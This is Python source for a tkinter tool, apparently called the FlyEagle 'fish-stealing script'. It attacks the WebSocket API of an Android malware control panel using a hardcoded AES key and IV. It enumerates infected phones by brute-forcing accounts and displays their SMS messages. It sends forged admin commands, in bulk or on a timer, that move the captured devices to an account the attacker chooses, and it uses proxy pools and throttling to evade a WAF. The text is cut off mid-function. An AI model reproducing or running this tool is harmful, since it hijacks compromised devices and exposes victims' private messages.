import tkinter as tk from tkinter import ttk from tkinter import messagebox from tkinter import filedialog import threading import json import websocket from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 import time import re import os import urllib.request import urllib.parse import urllib.error import ssl from concurrent.futures import ThreadPoolExecutor, as_completed import sys #EXPIRATION_TIMESTAMP = 1781558367 # 6小时后过期 #if time.time() > EXPIRATION_TIMESTAMP: #sys.exit(0) class ExploitGUI: def __init__(self, root): self.root = root self.root.title("FlyEagle Security Audit Pro") self.root.geometry("1150x850") self.root.configure(bg="#F5F5F7") # Apple light gray background # 逻辑控制 self.file_lock = threading.Lock() self.stop_flag = False self.found_pids = set() self.proxies = [] # 代理池 self.displayed_device_keys = set() self.scan_progress_lock = threading.Lock() self.pending_scan_progress = None self.scan_progress_update_scheduled = False self.status_update_lock = threading.Lock() self.pending_status_text = None self.status_update_scheduled = False self.precalculated_dict = [] self.prepare_dictionary() # 扫描 self.current_scan_batch = "" self.result_file_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "scan_results.txt") style = ttk.Style() style.theme_use('clam') # 颜色 bg_color = "#F5F5F7" text_color = "#1D1D1F" border_color = "#D2D2D7" style.configure("TFrame", background=bg_color) style.configure("TLabel", background=bg_color, foreground=text_color, font=("Microsoft YaHei", 9)) style.configure("TButton", font=("Microsoft YaHei", 9), borderwidth=0) # LabelFrame 样式 style.configure("TLabelframe", background=bg_color, borderwidth=1, bordercolor=border_color) style.configure("TLabelframe.Label", background=bg_color, foreground=text_color, font=("Microsoft YaHei", 10, "bold")) # Treeview 样式 style.configure("Treeview", background="#FFFFFF", foreground=text_color, rowheight=30, fieldbackground="#FFFFFF", font=("Microsoft YaHei", 9), borderwidth=0) style.map('Treeview', background=[('selected', '#007AFF')], foreground=[('selected', '#FFFFFF')]) style.configure("Treeview.Heading", background="#F5F5F7", foreground="#86868B", font=("Microsoft YaHei", 9, "bold"), relief="flat") style.map("Treeview.Heading", background=[('active', '#E8E8ED')]) # --- 顶部标题栏 --- header_frame = tk.Frame(root, bg="#FFFFFF", height=70) header_frame.pack(fill=tk.X) header_frame.pack_propagate(False) # 标题栏底部分割线 separator = tk.Frame(root, bg="#D2D2D7", height=1) separator.pack(fill=tk.X) title_label = tk.Label(header_frame, text="飞鹰偷鱼脚本", fg="#1D1D1F", bg="#FFFFFF", font=("Microsoft YaHei", 16, "bold")) title_label.pack(side=tk.LEFT, padx=24, pady=20) subtitle_label = tk.Label(header_frame, text="作者 @lovesha456", fg="#86868B", bg="#FFFFFF", font=("Microsoft YaHei", 10)) subtitle_label.pack(side=tk.LEFT, pady=24) # --- 主容器 --- main_container = tk.Frame(root, bg=bg_color, padx=24, pady=16) main_container.pack(fill=tk.BOTH, expand=True) # --- 配置面板 (左侧) --- config_pane = ttk.LabelFrame(main_container, text=" 核心配置 ") config_pane.pack(fill=tk.X, side=tk.TOP, pady=(0, 16)) config_inner = tk.Frame(config_pane, bg=bg_color, padx=16, pady=12) config_inner.pack(fill=tk.X) # 第一行：URL 与 邮箱 row1 = tk.Frame(config_inner, bg=bg_color) row1.pack(fill=tk.X, pady=4) tk.Label(row1, text="目标 URL:", width=12, anchor="w").pack(side=tk.LEFT) self.ws_url_entry = ttk.Entry(row1, width=45, font=("Consolas", 10)) self.ws_url_entry.insert(0, "https://ffakk899.top/api/ws/") self.ws_url_entry.pack(side=tk.LEFT, padx=8) tk.Label(row1, text="目标邮箱:", width=12, anchor="w").pack(side=tk.LEFT, padx=(24, 0)) self.email_entry = ttk.Entry(row1, width=25, font=("Consolas", 10)) self.email_entry.insert(0, "test@example.com") self.email_entry.pack(side=tk.LEFT, padx=8) self.arch_var = tk.StringVar(value=" ") tk.Label(row1, textvariable=self.arch_var, fg="#FF9500", font=("Microsoft YaHei", 9, "bold")).pack(side=tk.LEFT, padx=(16, 0)) tk.Label(row1, text="设备 ID (过滤):", width=14, anchor="w").pack(side=tk.LEFT, padx=(24, 0)) self.pid_entry = ttk.Entry(row1, width=20, font=("Consolas", 10)) self.pid_entry.insert(0, "") self.pid_entry.pack(side=tk.LEFT, padx=8) # 第二行：参数设置 row2 = tk.Frame(config_inner, bg=bg_color) row2.pack(fill=tk.X, pady=(12, 4)) tk.Label(row2, text="超时时间(秒):", width=12, anchor="w").pack(side=tk.LEFT) self.timeout_var = tk.StringVar(value="10") self.timeout_spin = ttk.Spinbox(row2, from_=1, to=60, width=8, textvariable=self.timeout_var) self.timeout_spin.pack(side=tk.LEFT, padx=8) tk.Label(row2, text="并发线程:", width=12, anchor="w").pack(side=tk.LEFT, padx=(24, 0)) self.threads_var = tk.StringVar(value="50") # 默认提高到50 self.threads_spin = ttk.Spinbox(row2, from_=1, to=200, width=8, textvariable=self.threads_var) self.threads_spin.pack(side=tk.LEFT, padx=8) tk.Label(row2, text="* 用于字典扫描与批量导入", fg="#86868B").pack(side=tk.LEFT, padx=8) # --- 操作按钮区 --- btn_frame = tk.Frame(main_container, bg=bg_color) btn_frame.pack(fill=tk.X, pady=(0, 16)) # 辅助函数：创建圆角/扁平化按钮 (Tkinter 标准按钮模拟) def create_btn(parent, text, bg, fg, cmd, width=12, is_bold=False): font_weight = "bold" if is_bold else "normal" btn = tk.Button(parent, text=text, bg=bg, fg=fg, relief=tk.FLAT, font=("Microsoft YaHei", 9, font_weight), width=width, height=1, cursor="hand2", command=cmd, activebackground=bg, activeforeground=fg, bd=0, padx=8, pady=4) # 简单的悬停效果 def on_enter(e): if btn['state'] != tk.DISABLED: btn.config(background=self.adjust_color_lightness(bg, 1.1)) def on_leave(e): if btn['state'] != tk.DISABLED: btn.config(background=bg) btn.bind("", on_enter) btn.bind("", on_leave) return btn self.run_btn = create_btn(btn_frame, " 单个查询", "#007AFF", "white", self.start_exploit) self.run_btn.pack(side=tk.LEFT, padx=(0, 8)) self.scan_btn = create_btn(btn_frame, " 字典扫描", "#FF3B30", "white", self.start_scan, is_bold=True) self.scan_btn.pack(side=tk.LEFT, padx=8) self.batch_btn = create_btn(btn_frame, " 批量扫描", "#34C759", "white", self.start_batch_scan) self.batch_btn.pack(side=tk.LEFT, padx=8) self.import_btn = create_btn(btn_frame, " 导入并查新", "#5856D6", "white", self.import_scan_results) self.import_btn.pack(side=tk.LEFT, padx=8) self.refresh_btn = create_btn(btn_frame, "刷新", "#5AC8FA", "white", self.refresh_scan_results) self.refresh_btn.pack(side=tk.LEFT, padx=8) self.proxy_btn = create_btn(btn_frame, " 代理池", "#8E8E93", "white", self.open_proxy_settings) self.proxy_btn.pack(side=tk.LEFT, padx=8) self.transfer_btn = create_btn(btn_frame, "批量指令", "#FF9500", "white", self.start_batch_transfer, is_bold=True) self.transfer_btn.pack(side=tk.LEFT, padx=8) self.select_send_btn = create_btn(btn_frame, " 全选下发", "#FF9500", "white", self.select_all_and_send, width=12, is_bold=True) self.select_send_btn.pack(side=tk.LEFT, padx=8) self.stop_btn = create_btn(btn_frame, " 停止", "#FF3B30", "white", self.stop_action, width=8) self.stop_btn.config(state=tk.DISABLED) self.stop_btn.pack(side=tk.LEFT, padx=(24, 8)) self.clear_btn = create_btn(btn_frame, " 清空", "#C7C7CC", "#1D1D1F", self.clear_results, width=8) self.clear_btn.pack(side=tk.RIGHT, padx=(8, 0)) self.deselect_all_btn = create_btn(btn_frame, " 取消", "#E5E5EA", "#1D1D1F", self.deselect_all, width=6) self.deselect_all_btn.pack(side=tk.RIGHT, padx=4) self.select_all_btn = create_btn(btn_frame, " 全选", "#E5E5EA", "#1D1D1F", self.select_all, width=6) self.select_all_btn.pack(side=tk.RIGHT, padx=4) # --- 进度条 --- progress_frame = tk.Frame(main_container, bg=bg_color) progress_frame.pack(fill=tk.X, pady=(0, 12)) # 使用自定义的 TProgressbar 样式 style.configure("TProgressbar", thickness=4, background="#007AFF", troughcolor="#E5E5EA", bordercolor=bg_color, lightcolor="#007AFF", darkcolor="#007AFF") self.progress = ttk.Progressbar(progress_frame, orient=tk.HORIZONTAL, mode='determinate', style="TProgressbar") self.progress.pack(fill=tk.X, pady=(0, 6)) self.status_var = tk.StringVar(value="准备就绪") self.status_label = tk.Label(progress_frame, textvariable=self.status_var, fg="#86868B", font=("Microsoft YaHei", 9)) self.status_label.pack(anchor=tk.W) # --- 中间区域 (设备列表 + 日志 + 流量详情) --- paned_window = ttk.PanedWindow(main_container, orient=tk.VERTICAL) paned_window.pack(fill=tk.BOTH, expand=True) # 上层：设备列表 list_container = tk.Frame(paned_window, bg=bg_color) paned_window.add(list_container, weight=3) list_frame = ttk.LabelFrame(list_container, text=" 捕获的设备 (右键查看短信) ") list_frame.pack(fill=tk.BOTH, expand=True, pady=(0, 8)) columns = ("phone_id", "phone_name", "model", "android_ver", "country", "network", "accessibility", "install_date", "domain", "email") self.tree = ttk.Treeview(list_frame, columns=columns, show="headings", selectmode="extended") self.tree.heading("phone_id", text="设备 ID") self.tree.heading("phone_name", text="设备名称") self.tree.heading("model", text="型号") self.tree.heading("android_ver", text="安卓版本") self.tree.heading("country", text="国家") self.tree.heading("network", text="网络") self.tree.heading("accessibility", text="权限(无障碍)") self.tree.heading("install_date", text="安装时间") self.tree.heading("domain", text="域名") self.tree.heading("email", text="邮箱") for col in columns: if col in ["domain", "email"]: self.tree.column(col, width=0, stretch=tk.NO) elif col == "accessibility": self.tree.column(col, anchor=tk.CENTER, width=100) elif col == "phone_name" or col == "model": self.tree.column(col, anchor=tk.W, width=120) else: self.tree.column(col, anchor=tk.CENTER, width=100) tree_scroll = ttk.Scrollbar(list_frame, orient=tk.VERTICAL, command=self.tree.yview) self.tree.configure(yscrollcommand=tree_scroll.set) self.tree.pack(fill=tk.BOTH, expand=True, side=tk.LEFT, padx=2, pady=2) tree_scroll.pack(fill=tk.Y, side=tk.RIGHT) # 绑定右键菜单 self.context_menu = tk.Menu(self.tree, tearoff=0, bg="#FFFFFF", fg="#1D1D1F", activebackground="#007AFF", activeforeground="#FFFFFF", relief=tk.FLAT, borderwidth=1) self.context_menu.add_command(label=" 查看短信", command=self.view_sms_logic) self.context_menu.add_command(label=" 修改设备名称", command=self.rename_device_logic) self.context_menu.add_command(label="⏱️定时迁移指令", command=self.schedule_transfer_logic) self.tree.bind("", self.show_context_menu) # 下层：左右分栏 (左日志，右流量) bottom_paned = ttk.PanedWindow(paned_window, orient=tk.HORIZONTAL) paned_window.add(bottom_paned, weight=2) # 左侧日志 log_container = tk.Frame(bottom_paned, bg=bg_color) bottom_paned.add(log_container, weight=1) log_frame = ttk.LabelFrame(log_container, text=" 终端日志 ") log_frame.pack(fill=tk.BOTH, expand=True, padx=(0, 4)) # Mac Terminal Style self.terminal = tk.Text(log_frame, bg="#1E1E1E", fg="#D4D4D4", font=("Consolas", 9), relief=tk.FLAT, borderwidth=0, padx=12, pady=12, selectbackground="#4A4A4A") self.terminal.pack(fill=tk.BOTH, expand=True, side=tk.LEFT, padx=2, pady=2) term_scroll = ttk.Scrollbar(log_frame, orient=tk.VERTICAL, command=self.terminal.yview) self.terminal.configure(yscrollcommand=term_scroll.set) term_scroll.pack(fill=tk.Y, side=tk.RIGHT) # 配置 Terminal tag self.terminal.tag_config("info", foreground="#9CDCFE") self.terminal.tag_config("success", foreground="#4CAF50") self.terminal.tag_config("error", foreground="#F44336") self.terminal.tag_config("warning", foreground="#FF9800") self.terminal.tag_config("time", foreground="#808080") # 右侧流量详情 traffic_container = tk.Frame(bottom_paned, bg=bg_color) bottom_paned.add(traffic_container, weight=1) traffic_frame = ttk.LabelFrame(traffic_container, text=" WebSocket 流量 ") traffic_frame.pack(fill=tk.BOTH, expand=True, padx=(4, 0)) self.traffic_term = tk.Text(traffic_frame, bg="#1E1E1E", fg="#CE9178", font=("Consolas", 9), relief=tk.FLAT, borderwidth=0, padx=12, pady=12, selectbackground="#4A4A4A") self.traffic_term.pack(fill=tk.BOTH, expand=True, side=tk.LEFT, padx=2, pady=2) traffic_scroll = ttk.Scrollbar(traffic_frame, orient=tk.VERTICAL, command=self.traffic_term.yview) self.traffic_term.configure(yscrollcommand=traffic_scroll.set) traffic_scroll.pack(fill=tk.Y, side=tk.RIGHT) def adjust_color_lightness(self, hex_color, factor): """简单调整颜色亮度的辅助函数""" hex_color = hex_color.lstrip('#') rgb = tuple(int(hex_color[i:i+2], 16) for i in (0, 2, 4)) new_rgb = tuple(min(255, int(c * factor)) for c in rgb) return f"#{new_rgb[0]:02x}{new_rgb[1]:02x}{new_rgb[2]:02x}" self.tree.heading("network", text="网络") self.tree.heading("accessibility", text="权限(无障碍)") def select_all(self): self.tree.selection_set(self.tree.get_children()) self.update_status(f"已全选 {len(self.tree.get_children())} 台设备") def deselect_all(self): self.tree.selection_remove(self.tree.get_children()) self.update_status("已取消所有选择") def select_all_and_send(self): all_items = self.tree.get_children() if not all_items: messagebox.showwarning("警告", "当前列表没有可下发的设备") return self.tree.selection_set(all_items) self.update_status(f"已全选 {len(all_items)} 台设备，准备批量下发") self.start_batch_transfer(selection=all_items) def open_proxy_settings(self): proxy_win = tk.Toplevel(self.root) proxy_win.title("代理池设置") proxy_win.geometry("400x450") proxy_win.configure(bg="#f8f9fa") proxy_win.grab_set() tk.Label(proxy_win, text="输入 HTTP 代理列表 (格式: ip:port 或 username:password@ip:port)", bg="#f8f9fa", font=("Microsoft YaHei", 9)).pack(pady=10) proxy_text = tk.Text(proxy_win, width=45, height=18, font=("Consolas", 10)) proxy_text.pack(padx=10, pady=5) if self.proxies: proxy_text.insert(tk.END, "\n".join(self.proxies)) def save_proxies(): raw_text = proxy_text.get("1.0", tk.END).strip() self.proxies = [line.strip() for line in raw_text.split('\n') if line.strip()] messagebox.showinfo("成功", f"已保存 {len(self.proxies)} 个代理 IP", parent=proxy_win) proxy_win.destroy() tk.Button(proxy_win, text=" 保存并生效", bg="#2ecc71", fg="white", relief=tk.FLAT, width=15, height=1, font=("Microsoft YaHei", 9, "bold"), command=save_proxies).pack(pady=10) def prepare_dictionary(self): """预先生成并加密 1.6w 个邮箱组合""" prefixes = ['user', 'client', 'guest', 'customer'] domains = ['example.com', 'test.com', 'demo.com', 'sample.com'] # 加入默认的高权限/测试账号 special_emails = ['admin@admin.com', 'test@example.com'] for email in special_emails: self.precalculated_dict.append((email, self.encrypt_email(email))) for p in prefixes: for i in range(1000): for d in domains: email = f"{p}{i}@{d}" self.precalculated_dict.append((email, self.encrypt_email(email))) def encrypt_email(self, email): key = b"@zxfNM=q>Drm`6VP)!:u-A~;92E<.?wR" iv = b"G8v!h3*Y.P+pFm/;" cipher = AES.new(key, AES.MODE_CBC, iv) padded_data = pad(email.encode('utf-8'), AES.block_size) encrypted = cipher.encrypt(padded_data) return base64.b64encode(encrypted).decode('utf-8') def reset_runtime_results(self): self.tree.delete(*self.tree.get_children()) self.progress['value'] = 0 self.found_pids.clear() self.displayed_device_keys.clear() def safe_close_ws(self, ws): if ws: try: ws.close() except: pass def apply_ws_timeout(self, ws, timeout_val): if not ws: return try: ws.settimeout(timeout_val) except: pass try: if hasattr(ws, "sock") and ws.sock: ws.sock.settimeout(timeout_val) except: pass def normalize_result_domain(self, domain): normalized = self.format_url(domain) return normalized if normalized else str(domain).strip() def make_device_key(self, domain, pid): return f"{self.normalize_result_domain(domain)}|{str(pid).strip()}" def make_display_device_key(self, domain, pid): host = self.clean_domain_for_change(str(domain)) return f"{host}|{str(pid).strip()}" def append_session_marker(self, mode_text, target_text=""): try: with self.file_lock: with open(self.result_file_path, "a", encoding="utf-8") as f: f.write( "\n" + "#" * 60 + "\n" f"开始时间: {time.strftime('%Y-%m-%d %H:%M:%S')}\n" f"任务类型: {mode_text}\n" f"任务目标: {target_text}\n" + "#" * 60 + "\n" ) except Exception as e: self.log_terminal(f"[-] 写入会话标记失败: {str(e)}", "error") def query_devices_over_ws(self, ws, connected_url, email, enc_email=None, log_io=False): # 仅使用旧版 AES 加密密文 payload = {"subc": "checkphone", "email": enc_email or self.encrypt_email(email), "page": 1, "pageSize": 1000} if log_io: self.log_traffic("send", f"(查询邮箱: {email}) {json.dumps(payload)}", connected_url) ws.send(json.dumps(payload)) result = ws.recv() if log_io: self.log_traffic("recv", result[:200] + ("..." if len(result) > 200 else ""), connected_url) try: res_data = json.loads(result) except: return [] if res_data.get("type") == "checkphone": return res_data.get("list", []) return [] def query_devices_once(self, ws_url, email, timeout_val, purpose="", log_io=False, max_attempts=2): last_error = None enc_email = self.encrypt_email(email) for attempt in range(max_attempts): ws = None try: ws, connected_url = self.open_websocket(ws_url, purpose if attempt == 0 else "", timeout_val, quiet=not log_io) self.apply_ws_timeout(ws, timeout_val) devices = self.query_devices_over_ws(ws, connected_url, email, enc_email=enc_email, log_io=log_io) return connected_url, devices except Exception as e: last_error = e finally: self.safe_close_ws(ws) raise last_error if last_error else RuntimeError("查询失败") def clear_results(self): self.reset_runtime_results() self.terminal.delete('1.0', tk.END) self.traffic_term.delete('1.0', tk.END) self.update_status("已清空结果") def toggle_buttons(self, state): self.run_btn.config(state=state) self.scan_btn.config(state=state) self.batch_btn.config(state=state) self.import_btn.config(state=state) self.refresh_btn.config(state=state) self.transfer_btn.config(state=state) if state == tk.DISABLED: self.stop_btn.config(state=tk.NORMAL) else: self.stop_btn.config(state=tk.DISABLED) def show_context_menu(self, event): item = self.tree.identify_row(event.y) if item: if item not in self.tree.selection(): self.tree.selection_set(item) self.context_menu.post(event.x_root, event.y_root) def start_batch_transfer(self, selection=None): if selection is None: selection = self.tree.selection() selection = tuple(selection) if not selection: all_items = self.tree.get_children() if all_items and messagebox.askyesno("确认", f"当前未手动勾选设备，是否直接对列表中的全部 {len(all_items)} 台设备执行下发？"): selection = tuple(all_items) self.tree.selection_set(selection) else: messagebox.showwarning("警告", "请先在列表中勾选要下发指令的设备 (支持多选/全选)") return transfer_win = tk.Toplevel(self.root) transfer_win.title(" 批量指令下发 - 设备迁移") transfer_win.geometry("450x300") transfer_win.configure(bg="#f8f9fa") transfer_win.grab_set() # 模态窗口 # 标题 title_lbl = tk.Label(transfer_win, text=" 迁移配置", font=("Microsoft YaHei", 12, "bold"), bg="#f8f9fa", fg="#2c3e50") title_lbl.pack(pady=(15, 5)) tk.Label(transfer_win, text=f"当前已选中: {len(selection)} 台设备", font=("Microsoft YaHei", 9), bg="#f8f9fa", fg="#7f8c8d").pack(pady=5) # 输入表单 form_f = tk.Frame(transfer_win, bg="#f8f9fa", padx=30) form_f.pack(fill=tk.BOTH, expand=True, pady=10) tk.Label(form_f, text="目标域名 (Domain):", bg="#f8f9fa", font=("Microsoft YaHei", 9)).grid(row=0, column=0, sticky=tk.W, pady=12) dom_entry = ttk.Entry(form_f, width=35) dom_entry.insert(0, self.clean_domain_for_change(self.ws_url_entry.get().strip()) or "ffakk899.top") dom_entry.grid(row=0, column=1, pady=12, padx=10) tk.Label(form_f, text="下发账号 (Account):", bg="#f8f9fa", font=("Microsoft YaHei", 9)).grid(row=1, column=0, sticky=tk.W, pady=12) acc_entry = ttk.Entry(form_f, width=35) acc_entry.insert(0, self.email_entry.get().strip() or "admin@example.com") acc_entry.grid(row=1, column=1, pady=12, padx=10) def do_transfer(): raw_dom = dom_entry.get().strip() target_acc = acc_entry.get().strip() # 自动清洗域名：仅保留设备真正需要的域名 target_dom = self.clean_domain_for_change(raw_dom) if not target_dom or not target_acc: messagebox.showerror("错误", "目标域名和下发账号不能为空") return if not messagebox.askyesno("确认下发", f"确定要将这 {len(selection)} 台设备迁移到:\n域名: {target_dom}\n账号: {target_acc}\n\n此操作不可逆，是否继续?"): return transfer_win.destroy() self.toggle_buttons(tk.DISABLED) threading.Thread(target=self.batch_transfer_thread, args=(selection, target_dom, target_acc, ""), daemon=True).start() # 底部按钮 btn_f = tk.Frame(transfer_win, bg="#f1f3f5", pady=15) btn_f.pack(fill=tk.X, side=tk.BOTTOM) tk.Button(btn_f, text=" 确认下发迁移指令", bg="#e67e22", fg="white", font=("Microsoft YaHei", 10, "bold"), relief=tk.FLAT, width=25, height=1, command=do_transfer).pack() def batch_transfer_thread(self, selection, domain, account, ip=""): self.stop_flag = False total = len(selection) self.log_terminal(f"[*] >>> 启动批量迁移任务 <<<") self.log_terminal(f"[*] 目标配置: Domain={domain}, Account={account}") self.root.after(0, lambda: self.progress.config(maximum=total, value=0)) success_count = 0 fail_count = 0 # 按域名分组下发，减少连接开销 domain_groups = {} for item_id in selection: item = self.tree.item(item_id) values = item['values'] # 注意：之前增加过列(accessibility)，所以 orig_domain 的索引现在应该是 8 pid, orig_domain = values[0], values[8] if orig_domain not in domain_groups: domain_groups[orig_domain] = [] # 这里的 PID 同样需要处理类型问题 final_pid = pid try: if str(pid).isdigit(): final_pid = int(pid) except: pass domain_groups[orig_domain].append(final_pid) processed = 0 for orig_domain, pids in domain_groups.items(): if self.stop_flag: break self.log_terminal(f"[*] 正在连接源站: {orig_domain} (准备下发 {len(pids)} 个指令)") ws = None try: # 建立该站点的常驻会话连接 ws, connected_url = self.open_websocket(orig_domain, "批量下发") if not ws: self.log_terminal(f" [!] 无法连接到源站: {orig_domain}，跳过此站设备。") fail_count += len(pids) processed += len(pids) continue for pid in pids: if self.stop_flag: break test_pids = [str(pid)] if str(pid).isdigit(): test_pids.append(int(pid)) # 🚀 终极杀招：不再猜测类型，不再等待服务端回执 # 飞鹰服务端的 SolrMobs 可能是 string 也可能是 int # 我们直接将两种类型的 PID 指令都发过去，服务端找不到的会自动丢弃，找得到的会秒转发 success_this_pid = False for pid_to_try in test_pids: try: payload = { "pid": pid_to_try, "itype": "slr_panelsend", "subc": "change", "domain": domain, "ip": ip, "changeid": self.encrypt_email(account), # 核心修复：下发账号必须经过 AES 加密，否则 APK 会解密失败并忽略指令 "usercheck": "admin" # 伪造一个检查字段，防止服务端报错 } ws.send(json.dumps(payload)) success_this_pid = True except Exception as e: self.log_terminal(f" [!] Failed to send for {pid_to_try}: {str(e)}") if success_this_pid: self.log_terminal(f" [+] Success: {pid} -> {domain}") success_count += 1 time.sleep(0.1) # 稍微延迟，防止瞬间并发过高被 WAF 拦截 else: fail_count += 1 processed += 1 self.root.after(0, lambda v=processed: self.progress.config(value=v)) self.update_status(f"下发进度: {processed}/{total} | 成功: {success_count} | 失败: {fail_count}") except Exception as e: self.log_terminal(f"[!] 批量下发异常 {orig_domain}: {str(e)}") finally: if ws: time.sleep(0.5) # 给 WebSocket 一点时间将缓冲区内的数据发往服务器 try: ws.close() except: pass self.log_terminal(f"[FINISH] 任务结束! 总计: {total} | 成功: {success_count} | 失败: {fail_count}") self.show_message("showinfo", "下发任务完成", f"批量指令下发结束\n\n成功: {success_count}\n失败: {fail_count}") self.root.after(0, lambda: self.toggle_buttons(tk.NORMAL)) def load_targets_from_result_file(self, file_path): with open(file_path, "r", encoding="utf-8") as f: content = f.read() blocks = re.split(r'={20,}', content) targets = [] seen_targets = set() for block in blocks: if "目标域名:" not in block: continue domain_match = re.search(r'目标域名:\s*(.*)', block) email_match = re.search(r'账号邮箱:\s*(.*)', block) if domain_match and email_match: domain = self.normalize_result_domain(domain_match.group(1).strip()) email = email_match.group(1).strip() key = (domain, email) if key not in seen_targets: seen_targets.add(key) targets.append(key) return targets def start_recheck_from_file(self, file_path, mode_text): if not file_path: return try: targets = self.load_targets_from_result_file(file_path) if not targets: messagebox.showwarning("警告", "未在文件中提取到有效的域名和邮箱！") return self.reset_runtime_results() self.stop_flag = False self.toggle_buttons(tk.DISABLED) self.append_session_marker(mode_text, file_path) threading.Thread(target=self.recheck_imported_targets_thread, args=(targets,), daemon=True).start() except Exception as e: messagebox.showerror("解析失败", str(e)) def import_scan_results(self): file_path = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")]) self.start_recheck_from_file(file_path, "导入联网复查") def refresh_scan_results(self): if not os.path.exists(self.result_file_path): messagebox.showwarning("提示", f"未找到结果文件:\n{self.result_file_path}") return self.start_recheck_from_file(self.result_file_path, "刷新联网复查") def recheck_imported_targets_thread(self, targets): self.log_terminal("[*] >>> 开始重新连接历史记录，获取最新设备列表 <<<", "info") total_tasks = len(targets) self.root.after(0, lambda: self.progress.config(maximum=total_tasks, value=0)) state = {'processed': 0, 'grand_total': 0} state_lock = threading.Lock() timeout_val = int(self.timeout_var.get()) worker_count = max(1, min(int(self.threads_var.get()), 200, total_tasks)) def process_target(target): domain, email = target if self.stop_flag: return try: connected_url, devices = self.query_devices_once(domain, email, timeout_val, purpose="导入复查", log_io=False, max_attempts=3) if devices: # 过滤设备 ID（如果在顶部配置栏填写了） filter_pid = self.pid_entry.get().strip().lower() filtered_devices = [] for dev in devices: pid = str(dev.get("phone_id", "")).strip() if filter_pid and filter_pid not in pid.lower(): continue filtered_devices.append(dev) if filtered_devices: new_devs = self.save_result_to_file(connected_url, email, filtered_devices, source="导入联网复查") if new_devs: with state_lock: state['grand_total'] += len(new_devs) self.log_terminal(f"[SUCCESS] {connected_url} -> {email} 发现 {len(new_devs)} 台最新设备!", "success") self.populate_tree(new_devs, connected_url, email) except Exception: pass finally: with state_lock: state['processed'] += 1 current_processed = state['processed'] current_total = state['grand_total'] if current_processed % 10 == 0 or current_processed == total_tasks: self.root.after(0, lambda v=current_processed: self.progress.config(value=v)) self.update_status(f"复测进度: {current_processed}/{total_tasks} | 发现最新设备: {current_total}") with ThreadPoolExecutor(max_workers=worker_count) as executor: futures = [executor.submit(process_target, target) for target in targets] for future in as_completed(futures): if self.stop_flag: break try: future.result() except Exception: pass self.log_terminal(f"[FINISH] 历史记录复测完毕! 共拉取到 {state['grand_total']} 台最新设备", "success") self.show_message("showinfo", "任务完成", f"历史记录复测完毕\n\n共拉取到 {state['grand_total']} 台最新设备") self.root.after(0, lambda: self.toggle_buttons(tk.NORMAL)) def view_sms_logic(self): selection = self.tree.selection() if not selection: return item = self.tree.item(selection[0]) values = item['values'] phone_id, domain, email = values[0], values[8], values[9] if not domain or not email: return # 移除之前的类型转换，交由 show_sms_window 的智能匹配逻辑处理 self.show_sms_window(self.format_url(domain), phone_id, email) def rename_device_logic(self): selection = self.tree.selection() if not selection: return item = self.tree.item(selection[0]) values = item['values'] phone_id, domain, email = values[0], values[8], values[9] if not domain or not email: return from tkinter import simpledialog new_name = simpledialog.askstring("修改设备名称", f"请输入设备 {phone_id} 的新名称:", parent=self.root) if not new_name: return threading.Thread(target=self.send_rename_command, args=(self.format_url(domain), phone_id, new_name), daemon=True).start() def schedule_transfer_logic(self): selection = self.tree.selection() if not selection: messagebox.showwarning("警告", "请先在列表中勾选要定时下发指令的设备") return schedule_win = tk.Toplevel(self.root) schedule_win.title("定时指令下发 - 设备迁移") schedule_win.geometry("450x380") schedule_win.configure(bg="#f8f9fa") schedule_win.grab_set() # 模态窗口 # 标题 title_lbl = tk.Label(schedule_win, text=" 定时迁移配置", font=("Microsoft YaHei", 12, "bold"), bg="#f8f9fa", fg="#2c3e50") title_lbl.pack(pady=(15, 5)) tk.Label(schedule_win, text=f"当前已选中: {len(selection)} 台设备", font=("Microsoft YaHei", 9), bg="#f8f9fa", fg="#7f8c8d").pack(pady=5) # 输入表单 form_f = tk.Frame(schedule_win, bg="#f8f9fa", padx=30) form_f.pack(fill=tk.BOTH, expand=True, pady=10) tk.Label(form_f, text="目标域名 (Domain):", bg="#f8f9fa", font=("Microsoft YaHei", 9)).grid(row=0, column=0, sticky=tk.W, pady=8) dom_entry = ttk.Entry(form_f, width=30) dom_entry.insert(0, "ffakk899.top") dom_entry.grid(row=0, column=1, pady=8, padx=10) tk.Label(form_f, text="下发账号 (Account):", bg="#f8f9fa", font=("Microsoft YaHei", 9)).grid(row=1, column=0, sticky=tk.W, pady=8) acc_entry = ttk.Entry(form_f, width=30) acc_entry.insert(0, "admin@example.com") acc_entry.grid(row=1, column=1, pady=8, padx=10) tk.Label(form_f, text="定时时间 (秒):", bg="#f8f9fa", font=("Microsoft YaHei", 9)).grid(row=2, column=0, sticky=tk.W, pady=8) time_var = tk.StringVar(value="60") time_spin = ttk.Spinbox(form_f, from_=1, to=86400, width=15, textvariable=time_var) time_spin.grid(row=2, column=1, sticky=tk.W, pady=8, padx=10) tk.Label(form_f, text="执行次数 (-1为无限):", bg="#f8f9fa", font=("Microsoft YaHei", 9)).grid(row=3, column=0, sticky=tk.W, pady=8) count_var = tk.StringVar(value="-1") count_spin = ttk.Spinbox(form_f, from_=-1, to=9999, width=15, textvariable=count_var) count_spin.grid(row=3, column=1, sticky=tk.W, pady=8, padx=10) def do_schedule(): raw_dom = dom_entry.get().strip() target_acc = acc_entry.get().strip() target_dom = self.clean_domain_for_change(raw_dom) try: interval = int(time_var.get()) max_count = int(count_var.get()) if interval <= 0: raise ValueError except ValueError: messagebox.showerror("错误", "时间间隔必须是正整数，执行次数必须是整数") return if not target_dom or not target_acc: messagebox.showerror("错误", "目标域名和下发账号不能为空") return schedule_win.destroy() self.log_terminal(f"[*] 启动定时迁移任务: 每 {interval} 秒执行一次, 最多 {max_count if max_count != -1 else '无限'} 次") threading.Thread(target=self.schedule_transfer_thread, args=(selection, target_dom, target_acc, interval, max_count), daemon=True).start() # 底部按钮 btn_f = tk.Frame(schedule_win, bg="#f1f3f5", pady=15) btn_f.pack(fill=tk.X, side=tk.BOTTOM) tk.Button(btn_f, text="⏱️ 启动定时下发", bg="#8e44ad", fg="white", font=("Microsoft YaHei", 10, "bold"), relief=tk.FLAT, width=25, height=1, command=do_schedule).pack() def schedule_transfer_thread(self, selection, domain, account, interval, max_count): count = 0 while not self.stop_flag and (max_count == -1 or count < max_count): count += 1 self.log_terminal(f"[*] [定时任务 第 {count} 次] 正在下发迁移指令...") # 复用已有的批量下发逻辑，但在后台静默执行，不弹窗 # 提取目标 domain_groups = {} for item_id in selection: try: item = self.tree.item(item_id) values = item['values'] pid, orig_domain = values[0], values[8] if orig_domain not in domain_groups: domain_groups[orig_domain] = [] final_pid = pid if 